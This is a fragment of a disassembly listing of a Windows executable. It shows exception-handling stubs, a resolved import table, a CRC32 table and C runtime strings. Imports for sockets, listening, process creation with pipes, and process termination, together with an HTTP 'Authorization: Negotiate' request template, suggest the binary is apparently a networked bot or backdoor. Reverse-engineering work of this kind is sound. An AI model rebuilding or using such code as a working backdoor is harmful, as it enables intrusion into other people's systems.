		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_420A2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A6B	proc near		; CODE XREF: sub_4207F1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421CC8
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_420AA8
		push	dword ptr [edi+4]
		call	sub_415B10
		inc	eax
		push	eax
		call	sub_416655
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_420AAE
		push	dword ptr [edi+4]
		push	eax
		call	sub_415A20
		pop	ecx
		pop	ecx
		jmp	short loc_420AAE
; ---------------------------------------------------------------------------


loc_420AA8:				; CODE XREF: sub_420A6B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_420AAE:				; CODE XREF: sub_420A6B+2Ej
					; sub_420A6B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_420A6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420AB5	proc near		; CODE XREF: sub_420798+2Bp
					; sub_42084E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_421CC8
		jz	short locret_420ACA
		push	dword ptr [ecx+4]
		call	sub_41630F
		pop	ecx

locret_420ACA:				; CODE XREF: sub_420AB5+Aj
		retn
sub_420AB5	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_420AD7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_420AD7:				; CODE XREF: .text:00420AD0j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_420AD8	proc near		; CODE XREF: .text:00420AF0p
		mov	dword ptr [ecx], offset	off_421CE8
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_420AEC
		push	ecx
		call	sub_415C9B
		pop	ecx

locret_420AEC:				; CODE XREF: sub_420AD8+Bj
		retn
sub_420AD8	endp

; ---------------------------------------------------------------------------


loc_420AED:				; DATA XREF: .text:off_421CE8o
		push	esi
		mov	esi, ecx
		call	sub_420AD8
		test	byte ptr [esp+8], 1
		jz	short loc_420B03
		push	esi
		call	sub_41630F
		pop	ecx


loc_420B03:				; CODE XREF: .text:00420AFAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B09	proc near		; CODE XREF: sub_4206B0+54p
					; sub_42077B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_421CF0
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_421188	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_420B09	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_420B44	proc near		; DATA XREF: .text:00421E9Co

; FUNCTION CHUNK AT 00404AD7 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_404AD7
sub_420B44	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_420B62
		mov	ecx, [ebp+8]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------

locret_420B62:				; CODE XREF: .text:00420B54j
		retn
; ---------------------------------------------------------------------------


loc_420B63:				; DATA XREF: sub_40467Co
		mov	eax, offset dword_421EA0
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_420B78:				; DATA XREF: .text:00421EC8o
		lea	ecx, [ebp-1Ch]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_420B80:				; DATA XREF: sub_40481Bo
		mov	eax, offset dword_421ECC
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4


loc_420B8C:				; DATA XREF: sub_404DB8o
		mov	eax, offset dword_421F1C
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_420BA0:				; DATA XREF: sub_4206B0o
		mov	eax, offset dword_421FB8
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420BB4:				; DATA XREF: sub_42070Ao
		mov	eax, offset dword_421FE0
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420BC8:				; DATA XREF: sub_420798o
		mov	eax, offset dword_422028
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420BDC:				; DATA XREF: sub_4207F1o
		mov	eax, offset dword_422050
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420BF0:				; DATA XREF: sub_42084Eo
		mov	eax, offset dword_422078
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_420C04:				; DATA XREF: sub_4208DCo
		mov	eax, offset dword_4220E0
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_420AB5
; ---------------------------------------------------------------------------


loc_420C18:				; DATA XREF: sub_420936o
		mov	eax, offset dword_422108
		jmp	loc_415FAB
; ---------------------------------------------------------------------------
		align 4
		dd 0F7h	dup(0)
dword_421000	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipedword_421004	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableAdword_421008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_420119+261r
dword_42100C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_420119+B9r
dword_421010	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_421014	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_421018	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_42101C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41E7F5+6r
dword_421020	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_421024	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_41DCE8:loc_41DD3Br
dword_421028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_41DA93+12Dr
dword_42102C	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; sub_41DA93+8Dr
dword_421030	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_41D4EF+166r ...
dword_421034	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_41D7B5+143r
dword_421038	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_42103C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_421040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_41D3BD+E1r
dword_421044	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_421048	dd 7C80C058h	; resolved to->KERNEL32.ExitThreaddword_42104C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_421050	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_4010B2+2D4r ...
dword_421054	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_4018CB+FFr
dword_421058	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_40A9D8+183r ...
dword_42105C	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_40B078+Dr ...
dword_421060	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40282F+E3r ...
dword_421064	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_4030B0+65r ...
dword_421068	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_406978+80r ...
dword_42106C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_4033B6+150r ...
dword_421070	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_409D34+AEr ...
dword_421074	dd 7C8312E5h	; resolved to->KERNEL32.TransactNamedPipedword_421078	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_406048+1C3r ...
dword_42107C	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_4071B6+58r ...
dword_421080	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatA					; sub_40A9D8+1B6r
dword_421084	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatA					; sub_40A9D8+19Fr
dword_421088	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_4071B6+12Br ...
dword_42108C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_4071B6+10Br ...
dword_421090	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_406978+38r ...
dword_421094	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_409D34+10Fr ...
dword_421098	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_4087CA+C0r ...
dword_42109C	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTimedword_4210A0	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTimedword_4210A4	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_4062F7+5DCr ...
dword_4210A8	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_4087CA+26r
dword_4210AC	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_40B61A+259r ...
dword_4210B0	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4210B4	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_4210B8	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4210BC	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_4078DF+241r
dword_4210C0	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_40891C:loc_408E0Cr ...
dword_4210C4	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_41A77A+15r ...
dword_4210C8	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_409D34+FBr ...
dword_4210CC	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_4210D0	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_4210D4	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLockdword_4210D8	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_4210DC	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_4210E0	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_4210E4	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_4210E8	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_4210EC	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_409EBC+B4r ...
dword_4210F0	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_4210F4	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_40C574+1BFr ...
dword_4210F8	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_40CD3A+3C9Br
dword_4210FC	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_421100	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_421104	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_413BE5+Cr ...
dword_421108	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipedword_42110C	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; .text:004140F2r ...
dword_421110	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_421114	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_40C48C+DFr ...
dword_421118	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_40CD3A+46F3r ...
dword_42111C	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_413C50+184r ...
dword_421120	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_421124	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_421128	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40C574+2FAr
dword_42112C	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_421130	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_414F15+27r
dword_421134	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileAdword_421138	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_41C639+20Dr ...
dword_42113C	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; .text:00414011r
dword_421140	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_413EDB+1Fr ...
dword_421144	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_421148	dd 7C830B14h	; resolved to->KERNEL32.GetLogicalDrivesdword_42114C	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_41737F+C6r ...
dword_421150	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_418CE8+2C5r ...
dword_421154	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_421158	dd 7C8350BFh	; resolved to->KERNEL32.GetTimeZoneInformation					; sub_41EA02+38r
dword_42115C	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_421160	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41737F+22Dr ...
dword_421164	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_41D4EF+59r
dword_421168	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_42116C	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_421170	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_421174	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_421178	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_42117C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; sub_4197BC+120r ...
dword_421180	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_4193CB+51r ...
dword_421184	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_421188	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_420B09+2Er
dword_42118C	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_421190	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_41C639+A7r
dword_421194	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_41C639+14Dr ...
dword_421198	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_41CA9C+14r ...
dword_42119C	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_4211A0	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_4211A4	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4211A8	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsA		align 10h
dword_4211B0	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_4059FC+8Er
dword_4211B4	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_40597F+15r
dword_4211B8	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_4211BC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_4211C0	dd 71AB3E00h	; resolved to->WS2_32.binddword_4211C4	dd 71AB88D3h	; resolved to->WS2_32.listendword_4211C8	dd 71AC1028h	; resolved to->WS2_32.acceptdword_4211CC	dd 71AB4FD4h	; resolved to->WS2_32.gethostbynamedword_4211D0	dd 71AC0BDEh	; resolved to->WS2_32.shutdowndword_4211D4	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_405398+115r
dword_4211D8	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4211DC	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_402DD1+2Ar ...
dword_4211E0	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40297A+EEr ...
dword_4211E4	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_402DD1+49r ...
dword_4211E8	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_402DD1+64r ...
dword_4211EC	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40282F+135r ...
dword_4211F0	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40297A+26Dr ...
dword_4211F4	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_402DD1+154r ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40481B+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_421240	dq 1.388888888888889e-2	; DATA XREF: sub_404630+2Fr
dbl_421248	dq 1.666666666666667e-1	; DATA XREF: sub_404630+15r
dbl_421250	dq 1.333333333333333	; DATA XREF: sub_40467C+7Ar
dword_421258	dd 2 dup(0)						; sub_404B91+57o ...
dword_421260	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_421660	dq 9.765625e-4		; DATA XREF: sub_40BBF7+2B8r
					; sub_40BBF7+2CDr ...
dbl_421668	dq -3.0517578125e-5	; DATA XREF: sub_413F12+1Er
dbl_421670	dq 1.0			; DATA XREF: sub_415D04+6Cr
					; sub_415E4B+6Cr ...
dword_421678	dd 0FFFFFFFFh, 417BEFh,	417C03hbyte_421684	db 6			; DATA XREF: sub_417D6C:loc_417DC3r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .text:off_4383ECo
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .text:off_4383E8o
		align 4
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_418AD0+8Eo
		align 10h
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_418AD0+4Fo
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: .text:off_43A63Co
		align 10h
dbl_4217E0	dq 0.0			; DATA XREF: sub_41A227+8Cr
					; sub_41A227+ACr ...
dbl_4217E8	dq 4.195835e6		; DATA XREF: sub_41A73C+Fr
dbl_4217F0	dq 3.145727e6		; DATA XREF: sub_41A73C+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41A77A+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41A77Ao
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41A8A1+93o
		align 4
dword_421828	dd 0FFFFFFFFh, 41AF8Ch,	41AF96h, 0dword_421838	dd 0FFFFFFFFh, 0		dd offset loc_41B112
		align 8
		dd offset sub_41B0F0
		dd offset sub_41B0FA
dword_421850	dd 0FFFFFFFFh, 41B342h,	41B346h, 0dword_421860	dd 0FFFFFFFFh, 41B3A4h,	41B3ADh, 0dword_421870	dd 0FFFFFFFFh, 0		dd offset loc_41B47D
		align 10h
		dd offset loc_41B469
		dd offset loc_41B46D
dword_421888	dd 0FFFFFFFFh, 0		dd offset loc_41B4D3
		align 8
		dd offset loc_41B4BF
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0B4h, 41h, 0
dword_4218A0	dd 2 dup(0)						; sub_41DA93+39o ...
dword_4218A8	dd 0FFFFFFFFh, 41C749h,	41C74Dh, 0FFFFFFFFh, 41C7FDh, 41C801h
					; DATA XREF: sub_41C639+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_43AA7Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D7B5+119o
		align 10h
asc_421B70	db 0Ah			; DATA XREF: sub_41D7B5+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41D7B5+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41D7B5+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41D7B5+7Do
		align 10h
dword_421BB0	dd 0FFFFFFFFh, 41DB8Ch,	41DB90haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41EA02+Ao
		align 10h
